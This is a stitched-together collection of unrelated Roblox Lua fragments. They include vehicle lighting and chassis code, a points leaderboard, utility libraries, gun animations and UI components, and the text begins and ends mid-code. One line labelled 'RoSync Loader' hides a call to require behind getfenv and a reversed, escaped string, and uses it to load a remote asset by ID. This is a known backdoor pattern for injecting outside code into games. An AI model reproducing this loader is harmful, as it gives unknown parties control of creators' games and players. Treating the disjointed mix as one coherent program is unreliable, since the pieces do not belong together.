then righton = true repeat neonright.BrickColor = on rightfront.BrickColor = on rightlight.Enabled = true neonright.Material = "Neon" rightfront.Material = "Neon" component.TurnSignal:play() wait(signalblinktime) rightfront.BrickColor = off neonright.BrickColor = off component.TurnSignal:play() neonright.Material = "SmoothPlastic" rightfront.Material = "SmoothPlastic" rightlight.Enabled = false wait(signalblinktime) until righton == false or lefton == true elseif righton == true or lefton == true then righton = false component.TurnSignal:stop() rightlight.Enabled = false end elseif key == hazards then if hazardson == false then hazardson = true repeat neonright.BrickColor = on neonleft.BrickColor = on leftfront.BrickColor = on rightfront.BrickColor = on neonright.Material = "Neon" rightfront.Material = "Neon" neonleft.Material = "Neon" leftfront.Material = "Neon" component.TurnSignal:play() rightlight.Enabled = true leftlight.Enabled = true wait(signalblinktime) leftfront.BrickColor = off rightfront.BrickColor = off neonright.BrickColor = off neonleft.BrickColor = off component.TurnSignal:play() neonright.Material = "SmoothPlastic" rightfront.Material = "SmoothPlastic" neonleft.Material = "SmoothPlastic" leftfront.Material = "SmoothPlastic" rightlight.Enabled = false leftlight.Enabled = false wait(signalblinktime) until hazardson == false elseif hazardson == true then hazardson = false component.TurnSignal:stop() rightlight.Enabled = false leftlight.Enabled = false end end end)
--[=[ @within TableUtil @function Shuffle @param tbl table @param rngOverride Random? @return table Shuffles the table. ```lua local t = {1, 2, 3, 4, 5, 6, 7, 8, 9} local shuffled = TableUtil.Shuffle(t) print(shuffled) --> e.g. {9, 4, 6, 7, 3, 1, 5, 8, 2} ``` :::note Arrays only This function works on arrays, but not dictionaries. ]=]
local function Shuffle<T>(tbl: { T }, rngOverride: Random?): { T } assert(type(tbl) == "table", "First argument must be a table") local shuffled = table.clone(tbl) local random = if typeof(rngOverride) == "Random" then rngOverride else rng for i = #tbl, 2, -1 do local j = random:NextInteger(1, i) shuffled[i], shuffled[j] = shuffled[j], shuffled[i] end return shuffled end
-- Requires - Module Functions
ClientSceneFramework.AnchorClientForSceneTransitionModule = require(script.AnchorClientForSceneTransitionModule) ClientSceneFramework.UnloadSceneClientRemoteEventModule = require(script.UnloadSceneClientRemoteEventModule) ClientSceneFramework.LoadSceneRemoteEventModule = require(script.LoadSceneRemoteEventModule) ClientSceneFramework.GetCurrentSceneEnvironmentModule = require(script.GetCurrentSceneEnvironmentModule) ClientSceneFramework.InitModule = require(script.InitModule) local Orchestra = script.Parent
--[[ Last synced 7/21/2021 01:44 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--[=[ To work like value objects in Roblox and track a single item, with `.Changed` events @class ValueObject ]=]
local require = require(script.Parent.loader).load(script) local Signal = require("Signal") local Maid = require("Maid") local Observable = require("Observable") local ValueObject = {} ValueObject.ClassName = "ValueObject"
--Get the data store with key "Leaderboard"
wait(10) while true do for i,plr in pairs(game.Players:GetChildren()) do--Loop through players if plr.UserId>0 then--Prevent errors local ps = game:GetService("PointsService")--PointsService local w = ps:GetGamePointBalance(plr.UserId)--Get point balance if w then pcall(function() --Wrap in a pcall so if Roblox is down, it won't error and break. dataStore:UpdateAsync(plr.UserId,function(oldVal) --Set new value return tonumber(w) end) end) end end end local smallestFirst = false--false = 2 before 1, true = 1 before 2 local numberToShow = 100--Any number between 1-100, how many will be shown local minValue = 1--Any numbers lower than this will be excluded local maxValue = 10e30--(10^30), any numbers higher than this will be excluded local pages = dataStore:GetSortedAsync(smallestFirst, numberToShow, minValue, maxValue) --Get data local top = pages:GetCurrentPage()--Get the first page local data = {}--Store new data for a,b in ipairs(top) do--Loop through data local userid = b.key--User id local points = b.value--Points local username = "[Failed To Load]"--If it fails, we let them know local s,e = pcall(function() username = game.Players:GetNameFromUserIdAsync(userid)--Get username end) if not s then--Something went wrong warn("Error getting name for "..userid..". Error: "..e) end local image = game.Players:GetUserThumbnailAsync(userid, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size150x150) --Make a image of them table.insert(data,{username,points,image})--Put new data in new table end ui.Parent = script sf:ClearAllChildren()--Remove old frames ui.Parent = sf for number,d in pairs(data) do--Loop through our new data local name = d[1] local val = d[2] local image = d[3] local color = Color3.new(1,1,1)--Default color if number == 1 then color = Color3.new(1,1,0)--1st place color elseif number == 2 then color = Color3.new(0.9,0.9,0.9)--2nd place color elseif number == 3 then color = Color3.fromRGB(166, 112, 0)--3rd place color end local new = sample:Clone()--Make a clone of the sample frame new.Name = name--Set name for better recognition and debugging new.LayoutOrder = number--UIListLayout uses this to sort in the correct order new.Image.Image = image--Set the image new.Image.Place.Text = number--Set the place new.Image.Place.TextColor3 = color--Set the place color (Gold = 1st) new.PName.Text = name--Set the username new.Value.Text = val--Set the amount of points new.Value.TextColor3 = color--Set the place color (Gold = 1st) new.PName.TextColor3 = color--Set the place color (Gold = 1st) new.Parent = sf--Parent to scrolling frame end wait() sf.CanvasSize = UDim2.new(0,0,0,ui.AbsoluteContentSize.Y) --Give enough room for the frames to sit in wait(60) end
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "a" then a = true elseif key == "d" then d = true elseif key == "w" then w = true rwd.Throttle = 1 rwd.Torque = tq lwd.Throttle = 1 lwd.Torque = ftq rrwd.Throttle = 1 rrwd.Torque = ftq rwd.MaxSpeed = 136 lwd.MaxSpeed = 136 rrwd.MaxSpeed = 136 carSeat.Throttle = 1 carSeat.Torque = 0 elseif key == "s" then s = true carSeat.Throttle = 0 carSeat.Torque = 0 rwd.Throttle = -1 rwd.Torque = brk lwd.Throttle = -1 lwd.Torque = brk rrwd.Throttle = -1 rrwd.Torque = brk rwd.MaxSpeed = 25 lwd.MaxSpeed = 25 rrwd.MaxSpeed = 25 end end) mouse.KeyUp:connect(function (key) key = string.lower(key) if key == "a" then print("a up") if d == false then m.DesiredAngle = 0 n.DesiredAngle = m.DesiredAngle end elseif key == "d" then print("d up") if a == false then m.DesiredAngle = 0 n.DesiredAngle = m.DesiredAngle end end a = false d = false end) mouse.KeyUp:connect(function (key) key = string.lower(key) if key == "w" or key == "s" then rwd.Throttle = 0 rwd.Torque = 0 lwd.Throttle = 0 lwd.Torque = 0 rrwd.Throttle = 0 rrwd.Torque = 0 carSeat.Throttle = 0 carSeat.Torque = cst end end) limitButton.MouseButton1Click:connect(function()
--Update RPM
local function RPM() --Neutral Gear if _CGear==0 then _ClutchOn = false end throt = script.Parent.Values.Throttle.Value if game.Players.LocalPlayer.PlayerGui["A-Chassis Interface"].AC6_Stock_Gauges.SelfDrive:GetAttribute("Enabled") == false then throt = _GThrot end --Car Is Off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false throt = _Tune.IdleThrottle/100 end --Determine RPM local maxSpin=0 for _,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = _RPM*clutchP + aRPM*(1-clutchP) else if throt-(_Tune.IdleThrottle/100)>0 then if _RPM>_Tune.Redline then _RPM = _RPM-_Tune.RevBounce*2 else _RPM = math.min(_RPM+_Tune.RevAccel*throt,_Tune.Redline+100) end else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end end --Rev Limiter _spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2]) if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end end
--Even though on() looks usless, it NEEDS to be there. Please don't edit this. If you do, it WILL NOT work!
--[[Weight and CG]]
Tune.Weight = 1500 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--------LEFT DOOR --------
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.Lighting.flashcurrent.Value = "13"
--[[ Recalculates this Computed's cached value and dependencies. Returns true if it changed, or false if it's identical. ]]
function class:update() -- remove this object from its dependencies' dependent sets for dependency in pairs(self.dependencySet) do dependency.dependentSet[self] = nil end -- we need to create a new, empty dependency set to capture dependencies -- into, but in case there's an error, we want to restore our old set of -- dependencies. by using this table-swapping solution, we can avoid the -- overhead of allocating new tables each update. self._oldDependencySet, self.dependencySet = self.dependencySet, self._oldDependencySet table.clear(self.dependencySet) local ok, newValue = captureDependencies(self.dependencySet, self._callback) if ok then local oldValue = self._value self._value = newValue -- add this object to the dependencies' dependent sets for dependency in pairs(self.dependencySet) do dependency.dependentSet[self] = true end return oldValue ~= newValue else -- this needs to be non-fatal, because otherwise it'd disrupt the -- update process logErrorNonFatal("computedCallbackError", newValue) -- restore old dependencies, because the new dependencies may be corrupt self._oldDependencySet, self.dependencySet = self.dependencySet, self._oldDependencySet -- restore this object in the dependencies' dependent sets for dependency in pairs(self.dependencySet) do dependency.dependentSet[self] = true end return false end end local function Computed(callback: () -> any) local self = setmetatable({ type = "State", kind = "Computed", dependencySet = {}, -- if we held strong references to the dependents, then they wouldn't be -- able to get garbage collected when they fall out of scope dependentSet = setmetatable({}, WEAK_KEYS_METATABLE), _oldDependencySet = {}, _callback = callback, _value = nil, }, CLASS_METATABLE) initDependency(self) self:update() return self end return Computed
--// Renders
L_70_:connect(function() if L_14_ then L_113_, L_114_ = L_113_ or 0, L_114_ or 0 if L_116_ == nil or L_115_ == nil then L_116_ = L_26_.C0 L_115_ = L_26_.C1 end local L_210_ = (math.sin(L_107_ * L_109_ / 2) * L_108_) local L_211_ = (math.sin(L_107_ * L_109_) * L_108_) local L_212_ = CFrame.new(L_210_, L_211_, 0.02) if L_104_ then L_107_ = L_107_ + .017 if L_21_.WalkAnimEnabled == true then L_105_ = L_212_ else L_105_ = CFrame.new() end else L_107_ = 0 L_105_ = CFrame.new() end L_103_.t = Vector3.new(L_98_, L_99_, 0) local L_213_ = L_103_.p local L_214_ = L_213_.X / L_100_ * (L_41_ and L_102_ or L_101_) local L_215_ = L_213_.Y / L_100_ * (L_41_ and L_102_ or L_101_) if L_41_ then L_94_ = CFrame.Angles(math.rad(-L_214_), math.rad(L_214_), math.rad(L_215_)) * CFrame.fromAxisAngle(Vector3.new(5, 0, -1), math.rad(L_214_)) elseif not L_41_ then L_94_ = CFrame.Angles(math.rad(-L_215_), math.rad(-L_214_), math.rad(-L_214_)) * CFrame.fromAxisAngle(L_25_.Position, math.rad(-L_215_)) end if L_21_.SwayEnabled == true then L_26_.C0 = L_26_.C0:lerp(L_116_ * L_94_ * L_105_, 0.1) else L_26_.C0 = L_26_.C0:lerp(L_116_ * L_105_, 0.1) end if L_44_ and not L_47_ and L_49_ and not L_41_ and not L_43_ and not Shooting then L_26_.C1 = L_26_.C1:lerp(L_26_.C0 * L_21_.SprintPos, 0.1) elseif not L_44_ and not L_47_ and not L_49_ and not L_41_ and not L_43_ and not Shooting then L_26_.C1 = L_26_.C1:lerp(CFrame.new(), 0.1) end if L_41_ and not L_44_ then L_57_ = L_21_.AimCamRecoil L_56_ = L_21_.AimGunRecoil L_58_ = L_21_.AimKickback if (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then L_26_.C1 = L_26_.C1:lerp(L_26_.C0 * CFrame.new(L_91_.position), 0.12) L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_32_ L_71_.MouseDeltaSensitivity = L_32_ end elseif not L_41_ and not L_44_ and L_14_ then if (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then L_26_.C1 = L_26_.C1:lerp(CFrame.new(L_91_.position) * L_92_, 0.1) L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_32_ L_71_.MouseDeltaSensitivity = L_33_ end end if Recoiling then L_5_.CoordinateFrame = L_5_.CoordinateFrame * CFrame.fromEulerAnglesXYZ(math.rad(L_57_ * math.random(0, 3)), math.rad(L_57_ * math.random(-1, 1)), math.rad(L_57_ * math.random(-1, 1))) L_26_.C0 = L_26_.C0:lerp(L_26_.C0 * CFrame.new(0, 0, L_56_) * CFrame.Angles(-math.rad(L_58_), 0, 0), 0.3) elseif not Recoiling then L_26_.C0 = L_26_.C0:lerp(CFrame.new(), 0.2) end if L_42_ then L_3_:WaitForChild('Humanoid').Jump = false end if L_14_ then L_5_.FieldOfView = L_5_.FieldOfView * (1 - L_21_.ZoomSpeed) + (L_64_ * L_21_.ZoomSpeed) if (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then L_57_ = L_21_.AimCamRecoil L_56_ = L_21_.AimGunRecoil L_58_ = L_21_.AimKickback L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_32_ L_71_.MouseDeltaSensitivity = L_32_ elseif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 and not L_41_ then L_57_ = L_21_.camrecoil L_56_ = L_21_.gunrecoil L_58_ = L_21_.Kickback L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false L_23_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_32_ L_71_.MouseDeltaSensitivity = L_33_ end end if L_14_ then --and (char.Head.Position - cam.CoordinateFrame.p).magnitude < 2 then L_4_.TargetFilter = game.Workspace local L_216_ = L_3_:WaitForChild("HumanoidRootPart").CFrame * CFrame.new(0, 1.5, 0) * CFrame.new(L_3_:WaitForChild("Humanoid").CameraOffset) L_29_.C0 = L_8_.CFrame:toObjectSpace(L_216_) L_29_.C1 = CFrame.Angles(-math.asin((L_4_.Hit.p - L_4_.Origin.p).unit.y), 0, 0) L_71_.MouseIconEnabled = false end if L_14_ and (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then L_4_.Icon = "http://www.roblox.com/asset?id=" .. L_21_.TPSMouseIcon L_71_.MouseIconEnabled = true if L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then L_3_['Right Arm'].LocalTransparencyModifier = 1 L_3_['Left Arm'].LocalTransparencyModifier = 1 end end; end end)
--[[ How to use BouncePlatforms LocalScript: BouncePlatforms.new(part, { debounce = 0.2, bounceVector = Vector3.new(0, 1, 0), bounceForce = 2000, }) BouncePlatforms:enable() ]]
local RunService = game:GetService("RunService") local Players = game:GetService("Players") local CollectionService = game:GetService("CollectionService") local BouncePlatform = require(script.BouncePlatform) local BouncePlatformConstants = require(script.BouncePlatformConstants) local BOUNCY_TAG = BouncePlatformConstants.BOUNCY_TAG local DEBUG = false local HIPHEIGHT_BUFFER = 2 local RAYCAST_DETECTION_OFFSETS = { Vector2.new(-1, 0.5), Vector2.new(0, 0.5), Vector2.new(1, 0.5), Vector2.new(0, 0), Vector2.new(-1, -0.5), Vector2.new(0, -0.5), Vector2.new(1, -0.5), } local player = Players.LocalPlayer local function _assert(part) assert(part ~= nil, "Part expected got nil") assert(typeof(part) == "Instance", "expected Instance got " .. typeof(part)) assert(part.ClassName == "MeshPart" or part.ClassName == "Part", "expected MeshPart or Part got " .. part.ClassName) end local function getModelMass(model) local totalMass = 0 for _, basepart in pairs(model:GetDescendants()) do if basepart:IsA("BasePart") then totalMass += basepart:GetMass() end end return totalMass end local BouncePlatforms = { ActiveBouncePlatforms = {}, } function BouncePlatforms.new(part, config) _assert(part) local bouncePlatform = BouncePlatform.new(part, config) BouncePlatforms.ActiveBouncePlatforms[bouncePlatform.platform] = bouncePlatform if DEBUG then bouncePlatform:_debug(bouncePlatform) end return bouncePlatform end function BouncePlatforms:_detect(raycastParams, length) local raycastResults = {} local lookVector = player.Character.PrimaryPart.CFrame.LookVector local rightVector = player.Character.PrimaryPart.CFrame.RightVector for _, cell in pairs(RAYCAST_DETECTION_OFFSETS) do local offsetX = rightVector * cell.X local offsetZ = lookVector * cell.Y local origin = (player.Character.PrimaryPart.Position + offsetZ + offsetX) local raycastResult = workspace:Raycast(origin, Vector3.new(0, -length, 0), raycastParams) if raycastResult and raycastResult.Instance then table.insert(raycastResults, raycastResult) end end return raycastResults end function BouncePlatforms:_checkForBouncePlatforms() if not player.Character then return end if not player.Character.PrimaryPart then return end local humanoid = player.Character:FindFirstChildOfClass("Humanoid") if not humanoid then return end local length = humanoid.HipHeight + HIPHEIGHT_BUFFER local raycastParams = RaycastParams.new() raycastParams.FilterDescendantsInstances = CollectionService:GetTagged(BOUNCY_TAG) raycastParams.FilterType = Enum.RaycastFilterType.Whitelist local raycastResults = BouncePlatforms:_detect(raycastParams, length) for _, raycastResult in pairs(raycastResults) do local platformInstance = raycastResult.Instance local bouncePlatform = BouncePlatforms:getBouncePlatformFromInstance(platformInstance) if not bouncePlatform or (bouncePlatform and not bouncePlatform.enabled) then return end local currentTime = os.clock() if currentTime - bouncePlatform.lastBouncedAt >= bouncePlatform.debounce then bouncePlatform.lastBouncedAt = currentTime player.Character.PrimaryPart.Velocity = Vector3.new(0, 0, 0) local momentum = bouncePlatform.bounceVector * bouncePlatform.bounceForce * player.Character.PrimaryPart.AssemblyMass player.Character.PrimaryPart:ApplyImpulse(momentum) bouncePlatform:_onBounced() return end end end function BouncePlatforms:enable() if BouncePlatforms.HeartbeatConnection then BouncePlatforms:disable() end BouncePlatforms.HeartbeatConnection = RunService.Heartbeat:Connect(function() BouncePlatforms:_checkForBouncePlatforms() end) end function BouncePlatforms:disable() if BouncePlatforms.HeartbeatConnection then BouncePlatforms.HeartbeatConnection:Disconnect() BouncePlatforms.HeartbeatConnection = nil end end function BouncePlatforms:getBouncePlatformFromInstance(platform) return BouncePlatforms.ActiveBouncePlatforms[platform] end function BouncePlatforms:getActiveBouncePlatforms() return BouncePlatforms.ActiveBouncePlatforms end return BouncePlatforms
-- Create component
local Component = Cheer.CreateComponent('Tooltip', View); local Connections = {}; function Component.Start(Text) -- Hide the view View.Visible = false; -- Set the tooltip text View.Text = Text; -- Show the tooltip on hover Connections.ShowOnEnter = Support.AddGuiInputListener(View.Parent, 'Began', 'MouseMovement', true, Component.Show); Connections.HideOnLeave = Support.AddGuiInputListener(View.Parent, 'Ended', 'MouseMovement', true, Component.Hide); -- Clear connections when the component is removed Cheer.Bind(Component.OnRemove, ClearConnections); -- Return component for chaining return Component; end; function Component.Show() View.Size = UDim2.new(0, View.TextBounds.X + 10, 0, View.TextBounds.Y + 10); View.Position = UDim2.new(0.5, -View.AbsoluteSize.X / 2, 1, 3); View.Visible = true; end; function Component.Hide() View.Visible = false; end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:disconnect(); Connections[ConnectionKey] = nil; end; end; return Component;
-- General variables
local ThisTool = script.Parent.Parent local MainScript = ThisTool:WaitForChild("Main") local SegwayController = MainScript:WaitForChild("SegwayController") local ToolStatus = ThisTool:WaitForChild("ToolStatus") local Wings = {"Left Wing","Right Wing"}
---- IconMap ---- -- Image size: 256px x 256px -- Icon size: 16px x 16px -- Padding between each icon: 2px -- Padding around image edge: 1px -- Total icons: 14 x 14 (196)
local Icon do local iconMap = 'http://www.roblox.com/asset/?id=' .. MAP_ID game:GetService('ContentProvider'):Preload(iconMap) local iconDehash do -- 14 x 14, 0-based input, 0-based output local f=math.floor function iconDehash(h) return f(h/14%14),f(h%14) end end function Icon(IconFrame,index) local row,col = iconDehash(index) local mapSize = Vector2.new(256,256) local pad,border = 2,1 local iconSize = 16 local class = 'Frame' if type(IconFrame) == 'string' then class = IconFrame IconFrame = nil end if not IconFrame then IconFrame = Create(class,{ Name = "Icon"; BackgroundTransparency = 1; ClipsDescendants = true; Create('ImageLabel',{ Name = "IconMap"; Active = false; BackgroundTransparency = 1; Image = iconMap; Size = UDim2.new(mapSize.x/iconSize,0,mapSize.y/iconSize,0); }); }) end IconFrame.IconMap.Position = UDim2.new(-col - (pad*(col+1) + border)/iconSize,0,-row - (pad*(row+1) + border)/iconSize,0) return IconFrame end end
--// # key, ally
mouse.KeyDown:connect(function(key) if key=="]" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.Remotes.AllyEvent:FireServer(true) end end)
--- Emulates tabstops with spaces
function Util.EmulateTabstops(text, tabWidth) local result = "" for i = 1, #text do local char = text:sub(i, i) result = result .. (char == "\t" and string.rep(" ", tabWidth - #result % tabWidth) or char) end return result end function Util.Mutex() local queue = {} local locked = false return function () if locked then table.insert(queue, coroutine.running()) coroutine.yield() else locked = true end return function() if #queue > 0 then coroutine.resume(table.remove(queue, 1)) else locked = false end end end end return Util
--[=[ @return Promise Starts Knit. Should only be called once per client. ```lua Knit.Start():andThen(function() print("Knit started!") end):catch(warn) ``` By default, service methods exposed to the client will return promises. To change this behavior, set the `ServicePromises` option to `false`: ```lua Knit.Start({ServicePromises = false}):andThen(function() print("Knit started!") end):catch(warn) ``` ]=]
function KnitClient.Start(options: KnitOptions?) if started then return Promise.reject("Knit already started") end started = true if options == nil then selectedOptions = defaultOptions else assert(typeof(options) == "table", "KnitOptions should be a table or nil; got " .. typeof(options)) selectedOptions = options for k,v in pairs(defaultOptions) do if selectedOptions[k] == nil then selectedOptions[k] = v end end end if type(selectedOptions.PerServiceMiddleware) ~= "table" then selectedOptions.PerServiceMiddleware = {} end return Promise.new(function(resolve) -- Init: local promisesStartControllers = {} for _,controller in pairs(controllers) do if type(controller.KnitInit) == "function" then table.insert(promisesStartControllers, Promise.new(function(r) debug.setmemorycategory(controller.Name) controller:KnitInit() r() end)) end end resolve(Promise.all(promisesStartControllers)) end):andThen(function() -- Start: for _,controller in pairs(controllers) do if type(controller.KnitStart) == "function" then task.spawn(function() debug.setmemorycategory(controller.Name) controller:KnitStart() end) end end startedComplete = true onStartedComplete:Fire() task.defer(function() onStartedComplete:Destroy() end) end) end
--- Solve direction and length of the ray by comparing current and last frame's positions -- @param point type
function solver:Solve(point: {[string]: any}): (Vector3, Vector3) --- If LastPosition is nil (caused by if the hitbox was stopped previously), rewrite its value to the current point position if not point.LastPosition then point.LastPosition = point.Instances[1].WorldPosition end local origin: Vector3 = point.Instances[1].WorldPosition local direction: Vector3 = point.Instances[1].WorldPosition - point.LastPosition return origin, direction end function solver:UpdateToNextPosition(point: {[string]: any}): Vector3 return point.Instances[1].WorldPosition end function solver:Visualize(point: {[string]: any}): CFrame return CFrame.lookAt(point.Instances[1].WorldPosition, point.LastPosition) end return solver
--[[ Novena Constraint Type: Motorcycle The Bike Chassis SecondLogic | Inspare (thanks!) Avxnturador | Novena --]]
local autoscaling = true --Estimates top speed local UNITS = { --Click on speed to change units { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 370 , spInc = 40 , -- Increment between labelled notches }, --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 230 , spInc = 20 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 400 , spInc = 40 , -- Increment between labelled notches } }
---------------------------------------------------------------------------------------------------- ------------------=[ Status UI ]=------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,EnableStatusUI = false --- Don't disabled it... ,RunWalkSpeed = 22 ,NormalWalkSpeed = 16 ,SlowPaceWalkSpeed = 8 ,CrouchWalkSpeed = 8 ,ProneWalksSpeed = 4 ,EnableHunger = false --- Hunger and Thirst system ,HungerWaitTime = 25 ,CanDrown = true --- Welp.. That's it ,EnableStamina = true --- Weapon Sway based on stamina ,RunValue = 1 --- Stamina consumption ,StandRecover = .25 --- Stamina recovery while stading ,CrouchRecover = .5 --- Stamina recovery while crouching ,ProneRecover = 1 --- Stamina recovery while lying ,EnableGPS = false --- GPS shows your allies around you ,GPSdistance = 150 ,InteractionMenuKey = Enum.KeyCode.F15
-- ==================== -- BASIC -- A basic settings for the gun -- ====================
UseCommonVisualEffects = true; --Enable to use default visual effect folder named "Common". Otherwise, use visual effect with specific tool name (ReplicatedStorage -> Miscs -> GunVisualEffects) AutoReload = true; --Reload automatically when you run out of mag; disabling it will make you reload manually PrimaryHandle = "Handle"; SecondaryHandle = "Handle2"; --Check "DualWeldEnabled" for detail CustomGripEnabled = false; --NOTE: Must disable "RequiresHandle" first CustomGripName = "Handle"; CustomGripPart0 = {"Character", "Right Arm"}; --Base CustomGripPart1 = {"Tool", "Handle"}; --Target AlignC0AndC1FromDefaultGrip = true; CustomGripCFrame = false; CustomGripC0 = CFrame.new(0, 0, 0); CustomGripC1 = CFrame.new(0, 0, 0); --CustomGripPart[0/1] = {Ancestor, InstanceName} --Supported ancestors: Tool, Character --NOTE: Don't set "CustomGripName" to "RightGrip"
-- set the text of the TextLabel to the current date and time with AM/PM
textLabel.Text = currentTimeString
--// Animations
-- Idle Anim IdleAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- FireMode Anim FireModeAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.25) objs[4]:WaitForChild("Click"):Play() end; -- Reload Anim ReloadAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -1.27966166, 0.985866964, -0.167529628, -7.32295247e-09, 0, -4.37113883e-08, 1, -0.167529613, -0.985867023, -4.30936176e-08), function(X) return math.sin(math.rad(X)) end, 0.5) TweenJoint(objs[3], nil , CFrame.new(0.436954767, 0.654289246, -1.82817471, 0.894326091, -0.267454475, 0.358676374, -0.413143814, -0.185948789, 0.891479254, -0.171734676, -0.945458114, -0.276796043), function(X) return math.sin(math.rad(X)) end, 0.5) wait(0.5) local MagC = Tool:WaitForChild("Mag"):clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = 